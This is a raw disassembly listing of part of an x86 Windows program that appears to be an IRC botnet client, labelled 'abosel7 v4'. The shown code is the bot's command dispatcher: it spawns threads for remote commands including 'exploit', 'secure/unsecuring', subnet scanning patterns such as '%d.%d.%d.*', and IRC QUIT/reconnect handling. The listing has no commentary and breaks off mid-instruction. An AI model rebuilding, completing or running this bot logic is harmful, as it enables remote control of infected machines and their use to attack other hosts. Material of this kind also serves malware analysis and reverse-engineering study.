push edi call sub_41B779 pop ecx jmp short loc_403C48 ; --------------------------------------------------------------------------- loc_403C43: ; CODE XREF: sub_401ACD+2160j ; sub_401ACD+216Bj mov eax, dword_42907C loc_403C48: ; CODE XREF: sub_401ACD+2174j mov esi, [ebp+esi+var_88] mov [ebp+var_36C8], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_36B4], eax jz short loc_403C7B lea eax, [ebp+var_37CC] push esi push eax call sub_41B886 pop ecx pop ecx jmp short loc_403CA6 ; --------------------------------------------------------------------------- loc_403C7B: ; CODE XREF: sub_401ACD+219Bj lea eax, [ebp+var_4FF4] push 104h push eax nop call near ptr 2660AFDh push ebx push ebx lea eax, [ebp+var_4C8] push ebx push eax lea eax, [ebp+var_4FF4] push eax call sub_41B9D1 add esp, 14h loc_403CA6: ; CODE XREF: sub_401ACD+21ACj lea eax, [ebp+var_37CC] push eax call sub_41AFE0 cmp [ebp+eax+var_37CD], 5Ch pop ecx jnz short loc_403CD1 lea eax, [ebp+var_37CC] push eax call sub_41AFE0 pop ecx mov [ebp+eax+var_37CD], bl loc_403CD1: ; CODE XREF: sub_401ACD+21EEj push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_3A54] mov [ebp+var_3A58], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36B8], eax lea eax, [ebp+var_37CC] mov [ebp+var_36BC], edi push eax push [ebp+var_36C8] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BDE4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 3 push eax call sub_40B0F6 add esp, 20h mov [ebp+var_36C0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A58] push ebx push eax push offset sub_40F0D5 push ebx push ebx nop call near ptr 2670096h mov ecx, [ebp+var_36C0] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403D85 loc_403D73: ; CODE XREF: sub_401ACD+22B6j cmp [ebp+var_36AC], ebx jnz short loc_403DA0 push 32h nop call near ptr 2670000h jmp short loc_403D73 ; --------------------------------------------------------------------------- loc_403D85: ; CODE XREF: sub_401ACD+22A4j nop call near ptr 26709C5h push eax push offset unk_42BDA8 loc_403D91: ; CODE XREF: sub_401ACD+2419j ; sub_401ACD+4D04j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_403DA0: ; CODE XREF: sub_401ACD+22ACj ; sub_401ACD+23FDj ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx push edi jmp loc_407285 ; --------------------------------------------------------------------------- loc_403DB0: ; CODE XREF: sub_401ACD+1B11j ; sub_401ACD+1B26j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403DCF push edi call sub_41B779 test eax, eax pop ecx jz short loc_403DCF push edi call sub_41B779 pop ecx jmp short loc_403DD4 ; --------------------------------------------------------------------------- loc_403DCF: ; CODE XREF: sub_401ACD+22ECj ; sub_401ACD+22F7j mov eax, dword_429080 loc_403DD4: ; CODE XREF: sub_401ACD+2300j mov [ebp+var_1824], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_403DEB lea eax, [ebp+var_C4] loc_403DEB: ; CODE XREF: sub_401ACD+2316j push eax lea eax, [ebp+var_1964] push 40h push eax call sub_41B980 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_403E0D mov esi, offset dword_43D128 loc_403E0D: ; CODE XREF: sub_401ACD+2339j push esi lea eax, [ebp+var_1924] push 100h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_19E4] push [ebp+var_88] push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_1810], eax lea eax, [ebp+var_1964] push eax mov [ebp+var_19E8], esi push [ebp+var_1824] mov [ebp+var_1814], edi push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BD6C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 9 push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1820], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19E8] push ebx push eax push offset byte_410A4D push ebx push ebx nop call near ptr 2670096h mov ecx, [ebp+var_1820] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403EDA loc_403EC4: ; CODE XREF: sub_401ACD+240Bj cmp [ebp+var_180C], ebx jnz loc_403DA0 push 32h nop call near ptr 2670000h jmp short loc_403EC4 ; --------------------------------------------------------------------------- loc_403EDA: ; CODE XREF: sub_401ACD+23F5j nop call near ptr 26709C5h push eax push offset unk_42BD30 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_403EEB: ; CODE XREF: sub_401ACD+1AE7j ; sub_401ACD+1AFCj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_403EFE push esi call sub_41B779 jmp short loc_403F05 ; --------------------------------------------------------------------------- loc_403EFE: ; CODE XREF: sub_401ACD+2427j push 0Bh call sub_40B35D loc_403F05: ; CODE XREF: sub_401ACD+242Fj cmp eax, ebx pop ecx jz loc_409854 push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA56 jmp loc_4043B9 ; --------------------------------------------------------------------------- loc_403F25: ; CODE XREF: sub_401ACD+1ABDj ; sub_401ACD+1AD2j mov eax, dword_4CAE90 cmp eax, ebx jz short loc_403F42 call eax test eax, eax jz short loc_403F3B push offset unk_42BD0C jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F3B: ; CODE XREF: sub_401ACD+2465j push offset unk_42BCE0 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F42: ; CODE XREF: sub_401ACD+245Fj push offset unk_42BCB4 loc_403F47: ; CODE XREF: sub_401ACD+246Cj ; sub_401ACD+2473j ... lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 jmp loc_406CDB ; --------------------------------------------------------------------------- loc_403F5D: ; CODE XREF: sub_401ACD+1A93j ; sub_401ACD+1AA8j call sub_40AB31 test eax, eax jz short loc_403F6D push offset unk_42BC90 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F6D: ; CODE XREF: sub_401ACD+2497j push offset unk_42BC64 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F74: ; CODE XREF: sub_401ACD+1A69j ; sub_401ACD+1A7Ej cmp [ebp+var_8], ebx jnz short loc_403F93 push ebx push [ebp+var_4] push offset dword_42BC4C push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403F93: ; CODE XREF: sub_401ACD+24AAj push ebx push [ebp+var_4] call sub_4181D6 push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BC30 jmp loc_404285 ; --------------------------------------------------------------------------- loc_403FB5: ; CODE XREF: sub_401ACD+18F9j ; sub_401ACD+190Ej push 0Ah call sub_40B33E test eax, eax pop ecx jle short loc_403FCB push offset unk_42BC04 jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FCB: ; CODE XREF: sub_401ACD+24F2j push [ebp+var_88] push [ebp+arg_4] call sub_419C64 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403FEA push offset unk_42BBDC jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FEA: ; CODE XREF: sub_401ACD+2511j push offset unk_42BBBC jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FF4: ; CODE XREF: sub_401ACD+18CFj ; sub_401ACD+18E4j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40A7CE jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40400D: ; CODE XREF: sub_401ACD+18A5j ; sub_401ACD+18BAj push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_416C28 jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40402A: ; CODE XREF: sub_401ACD+187Bj ; sub_401ACD+1890j or edi, 0FFFFFFFFh call near ptr 26808EFh nop xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_404053 push esi call sub_41B779 pop ecx mov edi, eax loc_404053: ; CODE XREF: sub_401ACD+257Bj mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_40406C cmp edi, 0FFFFFFFFh jnz loc_409854 loc_40406C: ; CODE XREF: sub_401ACD+2594j push ebx call sub_41A88B pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42BBA4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 lea eax, [ebp+var_2C4] push eax call sub_4151AC loc_4040AA: ; CODE XREF: sub_401ACD+529Cj add esp, 24h jmp loc_409854 ; --------------------------------------------------------------------------- loc_4040B2: ; CODE XREF: sub_401ACD+1851j ; sub_401ACD+1866j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415A2F add esp, 0Ch push offset dword_42BB84 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_4040D0: ; CODE XREF: sub_401ACD+1827j ; sub_401ACD+183Cj push 27h call sub_40B33E test eax, eax pop ecx jle short loc_404104 cmp [ebp+var_8], ebx jnz loc_401E94 push ebx push [ebp+var_4] push offset unk_42BB64 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 loc_4040FC: ; CODE XREF: sub_401ACD+7237j add esp, 14h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_404104: ; CODE XREF: sub_401ACD+260Dj push [ebp+var_88] lea eax, [ebp+var_B2C] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_AA0], eax mov [ebp+var_AA8], ebx jz short loc_404165 push esi push offset aFull ; "full" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404165 mov [ebp+var_AA8], 1 loc_404165: ; CODE XREF: sub_401ACD+267Bj ; sub_401ACD+268Cj lea eax, [ebp+var_2C4] push offset dword_42BB40 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 27h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_4198EB push ebx push ebx nop call near ptr 2670096h mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4041D3 loc_4041BD: ; CODE XREF: sub_401ACD+2704j cmp [ebp+var_A9C], ebx jnz loc_409630 push 32h nop call near ptr 2670000h jmp short loc_4041BD ; --------------------------------------------------------------------------- loc_4041D3: ; CODE XREF: sub_401ACD+26EEj nop call near ptr 26709C5h push eax lea eax, [ebp+var_2C4] push offset unk_42BB04 push eax call sub_41B886 add esp, 0Ch jmp loc_409630 ; --------------------------------------------------------------------------- loc_4041F3: ; CODE XREF: sub_401ACD+17FDj ; sub_401ACD+1812j cmp [ebp+var_8], ebx jnz short loc_404212 push ebx push [ebp+var_4] push offset dword_42BAE8 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_404212: ; CODE XREF: sub_401ACD+2729j push [ebp+arg_4] call dword_4CB00C call dword_4CAECC call sub_418359 push ebx nop call near ptr 77E75CB5h loc_40422D: ; CODE XREF: sub_401ACD+17D3j ; sub_401ACD+17E8j push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_41AA42 pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BACC jmp short loc_404285 ; --------------------------------------------------------------------------- loc_404258: ; CODE XREF: sub_401ACD+17A9j ; sub_401ACD+17BEj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF6 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BAB0 loc_404285: ; CODE XREF: sub_401ACD+24E3j ; sub_401ACD+2789j call sub_4151AC add esp, 18h jmp loc_409854 ; --------------------------------------------------------------------------- loc_404292: ; CODE XREF: sub_401ACD+177Fj ; sub_401ACD+1794j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41524C jmp loc_401E91 ; --------------------------------------------------------------------------- loc_4042AB: ; CODE XREF: sub_401ACD+1755j ; sub_401ACD+176Aj cmp [ebp+var_C], ebx mov [ebp+var_1594], bl jz short loc_4042EA mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4042EA push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4042EA push eax push offset aS_1 ; "%s" lea eax, [ebp+var_1594] push 80h push eax call sub_41B980 add esp, 10h loc_4042EA: ; CODE XREF: sub_401ACD+27E7j ; sub_401ACD+27F2j ... push [ebp+var_88] lea eax, [ebp+var_1614] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1618], eax mov eax, [ebp+var_4] mov [ebp+var_1510], eax mov eax, [ebp+var_8] mov [ebp+var_150C], eax lea eax, [ebp+var_2C4] push offset dword_42BA98 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 25h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_1514], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1618] push ebx push eax push offset byte_41528D push ebx push ebx call near ptr 2670096h nop mov ecx, [ebp+var_1514] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40438D loc_404377: ; CODE XREF: sub_401ACD+28BEj cmp [ebp+var_1508], ebx jnz loc_401E94 push 32h nop call near ptr 2670000h jmp short loc_404377 ; --------------------------------------------------------------------------- loc_40438D: ; CODE XREF: sub_401ACD+28A8j call near ptr 26709C5h nop push eax push offset unk_42BA60 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40439E: ; CODE XREF: sub_401ACD+172Bj ; sub_401ACD+1740j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415134 push offset dword_42BA48 call sub_4151AC loc_4043B9: ; CODE XREF: sub_401ACD+2453j add esp, 10h jmp loc_409854 ; --------------------------------------------------------------------------- loc_4043C1: ; CODE XREF: sub_401ACD+1701j ; sub_401ACD+1716j push [ebp+var_88] lea eax, [ebp+var_BC4] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax jz short loc_40441B push offset dword_42BA44 push esi call sub_41C070 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_B40], eax jmp short loc_404421 ; --------------------------------------------------------------------------- loc_40441B: ; CODE XREF: sub_401ACD+2932j mov [ebp+var_B40], ebx loc_404421: ; CODE XREF: sub_401ACD+294Cj lea eax, [ebp+var_2C4] push offset dword_42BA24 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 28h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset byte_40B161 push ebx push ebx call near ptr 2670096h nop mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40448F loc_404479: ; CODE XREF: sub_401ACD+29C0j cmp [ebp+var_B34], ebx jnz loc_406CFF push 32h call near ptr 2670000h nop jmp short loc_404479 ; --------------------------------------------------------------------------- loc_40448F: ; CODE XREF: sub_401ACD+29AAj nop call near ptr 26709C5h push eax push offset unk_42B9E8 jmp loc_409226 ; --------------------------------------------------------------------------- loc_4044A0: ; CODE XREF: sub_401ACD+1685j ; sub_401ACD+169Aj push offset aDark ; "Dark" push offset dword_42B9D0 loc_4044AA: ; CODE XREF: sub_401ACD+2A1Cj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h jmp loc_406CFF ; --------------------------------------------------------------------------- loc_4044D7: ; CODE XREF: sub_401ACD+165Bj ; sub_401ACD+1670j push dword_4CACB4 call sub_41A88B pop ecx push eax push offset unk_42B9A4 jmp short loc_4044AA ; --------------------------------------------------------------------------- loc_4044EB: ; CODE XREF: sub_401ACD+1631j ; sub_401ACD+1646j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40451D cmp [ebp+var_C], ebx jz short loc_40452C push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_40452C push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch jmp short loc_40452C ; --------------------------------------------------------------------------- loc_40451D: ; CODE XREF: sub_401ACD+2A27j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_409A2C pop ecx pop ecx loc_40452C: ; CODE XREF: sub_401ACD+2A2Cj ; sub_401ACD+2A3Bj ... push 0FFFFFFFEh jmp loc_401E96 ; --------------------------------------------------------------------------- loc_404533: ; CODE XREF: sub_401ACD+1607j ; sub_401ACD+161Cj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42B954 call sub_4151AC add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401E97 ; --------------------------------------------------------------------------- loc_404555: ; CODE XREF: sub_401ACD+15DDj ; sub_401ACD+15F2j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42B920 call sub_4151AC add esp, 0Ch jmp loc_4097B9 ; --------------------------------------------------------------------------- loc_404574: ; CODE XREF: sub_401ACD+15B3j ; sub_401ACD+15C8j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B7DA jmp loc_404933 ; --------------------------------------------------------------------------- loc_40458A: ; CODE XREF: sub_401ACD+1589j ; sub_401ACD+159Ej push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B785 jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045A0: ; CODE XREF: sub_401ACD+155Fj ; sub_401ACD+1574j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B719 jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045B6: ; CODE XREF: sub_401ACD+1535j ; sub_401ACD+154Aj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B64A jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045CC: ; CODE XREF: sub_401ACD+1490j ; sub_401ACD+14A5j push [ebp+esi+var_8C] push 27h push offset dword_42B910 push offset dword_42B900 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_4045E4: ; CODE XREF: sub_401ACD+1466j ; sub_401ACD+147Bj push [ebp+esi+var_8C] push 24h push offset dword_42B8F4 push offset dword_42B8E4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_4045FC: ; CODE XREF: sub_401ACD+1082j ; sub_401ACD+1097j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_40461B push edi call sub_41B779 test eax, eax pop ecx jz short loc_40461B push edi call sub_41B779 pop ecx jmp short loc_404620 ; --------------------------------------------------------------------------- loc_40461B: ; CODE XREF: sub_401ACD+2B38j ; sub_401ACD+2B43j mov eax, dword_429074 loc_404620: ; CODE XREF: sub_401ACD+2B4Cj mov esi, [ebp+esi+var_88] mov [ebp+var_590], eax cmp esi, ebx jz short loc_404645 push esi loc_404632: ; CODE XREF: sub_401ACD+2B87j lea eax, [ebp+var_5A0] push 10h push eax call sub_41B980 add esp, 0Ch jmp short loc_40465C ; --------------------------------------------------------------------------- loc_404645: ; CODE XREF: sub_401ACD+2B62j cmp [ebp+var_8FF], bl jz short loc_404656 lea eax, [ebp+var_C4] push eax jmp short loc_404632 ; --------------------------------------------------------------------------- loc_404656: ; CODE XREF: sub_401ACD+2B7Ej mov [ebp+var_5A0], bl loc_40465C: ; CODE XREF: sub_401ACD+2B76j mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax mov [ebp+var_624], esi call sub_41B980 add esp, 0Ch push [ebp+var_590] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42B8BC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 19h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset byte_4111CD push ebx push ebx nop call near ptr 2670096h mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40470D loc_4046F7: ; CODE XREF: sub_401ACD+2C3Ej cmp [ebp+var_57C], ebx jnz loc_401E94 push 32h nop call near ptr 2670000h jmp short loc_4046F7 ; --------------------------------------------------------------------------- loc_40470D: ; CODE XREF: sub_401ACD+2C28j nop call near ptr 26709C5h push eax push offset dword_42B880 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40471E: ; CODE XREF: sub_401ACD+1018j ; sub_401ACD+102Dj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40473E push esi call sub_41B779 test ax, ax pop ecx jz short loc_40473E push esi call sub_41B779 pop ecx jmp short loc_404744 ; --------------------------------------------------------------------------- loc_40473E: ; CODE XREF: sub_401ACD+2C5Aj ; sub_401ACD+2C66j mov ax, word_429084 loc_404744: ; CODE XREF: sub_401ACD+2C6Fj push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax mov [ebp+var_A00], esi mov [ebp+var_970], edi call sub_41B980 movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42B854 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push edi push eax push [ebp+var_88] push esi call sub_409A72 push ebx lea eax, [ebp+var_2C4] push 6 push eax call sub_40B0F6 add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset byte_40E503 push ebx push ebx call near ptr 2670096h nop mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_404813 loc_4047FD: ; CODE XREF: sub_401ACD+2D44j cmp [ebp+var_968], ebx jnz loc_401E94 push 32h call near ptr 2670000h nop jmp short loc_4047FD ; --------------------------------------------------------------------------- loc_404813: ; CODE XREF: sub_401ACD+2D2Ej call near ptr 26709C5h nop push eax push offset unk_42B814 jmp loc_402077 ; --------------------------------------------------------------------------- loc_404824: ; CODE XREF: sub_401ACD+FC4j ; sub_401ACD+FD9j ... push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40484C push edi push offset aSec ; "sec" call sub_41C070 pop ecx mov [ebp+var_A10], ebx test eax, eax pop ecx jnz short loc_404856 loc_40484C: ; CODE XREF: sub_401ACD+2D66j mov [ebp+var_A10], 1 loc_404856: ; CODE XREF: sub_401ACD+2D7Dj push [ebp+var_88] lea eax, [ebp+var_A94] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_A10], ebx mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] mov [ebp+var_A08], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40489D mov eax, offset aUnsecuring ; "Unsecuring" loc_40489D: ; CODE XREF: sub_401ACD+2DC9j push eax push offset dword_42B7E0 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 22h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_A14], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset sub_419E19 push ebx push ebx nop call near ptr 2670096h mov ecx, [ebp+var_A14] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_404911 loc_4048FB: ; CODE XREF: sub_401ACD+2E42j cmp [ebp+var_A04], ebx jnz loc_4083BC push 32h nop call near ptr 2670000h jmp short loc_4048FB ; --------------------------------------------------------------------------- loc_404911: ; CODE XREF: sub_401ACD+2E2Cj nop call near ptr 26709C5h push eax push offset dword_42B7A4 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_404922: ; CODE XREF: sub_401ACD+F9Aj ; sub_401ACD+FAFj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41A6AE loc_404933: ; CODE XREF: sub_401ACD+2AB8j ; sub_401ACD+2ACEj ... add esp, 0Ch jmp loc_409854 ; --------------------------------------------------------------------------- loc_40493B: ; CODE XREF: sub_401ACD+F70j ; sub_401ACD+F85j push offset unk_42B6F4 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_404945: ; CODE XREF: sub_401ACD+F46j ; sub_401ACD+F5Bj push offset aAbosel7V4 ; "abosel7 v4" push offset dword_42B6E4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_404954: ; CODE XREF: sub_401ACD+F1Cj ; sub_401ACD+F31j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4049AE push esi call sub_41B779 cmp eax, ebx pop ecx jl short loc_4049A6 cmp eax, 3 jge short loc_4049A6 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_40499E lea eax, [esi+1] push eax lea eax, [ebp+var_2C4] push offset unk_42C9BC push eax call sub_41B886 add esp, 0Ch mov [esi], bl jmp loc_40828B ; --------------------------------------------------------------------------- loc_40499E: ; CODE XREF: sub_401ACD+2EB0j push eax push offset unk_42B6B8 jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049A6: ; CODE XREF: sub_401ACD+2E9Bj ; sub_401ACD+2EA0j push eax push offset unk_42B68C jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049AE: ; CODE XREF: sub_401ACD+2E90j mov edi, [ebp+arg_18] xor esi, esi loc_4049B3: ; CODE XREF: sub_401ACD+2F02j push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4049D6 inc esi add edi, 80h cmp esi, 3 jl short loc_4049B3 jmp loc_40828B ; --------------------------------------------------------------------------- loc_4049D6: ; CODE XREF: sub_401ACD+2EF6j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset unk_42C9BC loc_4049EB: ; CODE XREF: sub_401ACD+2152j ; sub_401ACD+2ED7j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 jmp loc_408288 ; --------------------------------------------------------------------------- loc_4049FC: ; CODE XREF: sub_401ACD+EF2j ; sub_401ACD+F07j push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4034A5 call sub_40B2BF push ebx nop call near ptr 77E75CB5h loc_404A22: ; CODE XREF: sub_401ACD+1A11j push offset aGet ; "get" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404AB0 cmp dword_4CE728, ebx jz short loc_404A4A push offset dword_4CE108 loc_404A40: ; CODE XREF: sub_401ACD+2FE1j push offset unk_42B650 jmp loc_404AE0 ; --------------------------------------------------------------------------- loc_404A4A: ; CODE XREF: sub_401ACD+2F6Cj push 10h pop eax mov [ebp+var_2CC], eax push eax lea eax, [ebp+var_2E8] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] nop call near ptr 71AB157Eh movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E30] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_E30] push eax jmp short loc_404A40 ; --------------------------------------------------------------------------- loc_404AB0: ; CODE XREF: sub_401ACD+2F64j push esi call dword_4CAFB4 cmp eax, 0FFFFFFFFh push esi jnz short loc_404AC4 push offset unk_42B610 jmp short loc_404AE0 ; --------------------------------------------------------------------------- loc_404AC4: ; CODE XREF: sub_401ACD+2FEEj push offset dword_4CE108 call sub_41BEB0 pop ecx mov dword_4CE728, 1 pop ecx push esi push offset unk_42B5E4 loc_404AE0: ; CODE XREF: sub_401ACD+2F78j ; sub_401ACD+2FF5j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_4034FD ; --------------------------------------------------------------------------- loc_404AF4: ; CODE XREF: sub_401ACD+19F9j push edi push offset aExploit ; "exploit" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404BF7 mov eax, [ebp+var_4] mov esi, offset aF ; "#f" mov [ebp+var_13E4], eax mov eax, [ebp+var_8] mov [ebp+var_13E0], eax mov eax, [ebp+arg_4] mov [ebp+var_13F4], eax mov edi, 80h push esi lea eax, [ebp+var_1474] push edi push eax mov [ebp+var_13EC], 1 call sub_41B980 add esp, 0Ch lea eax, 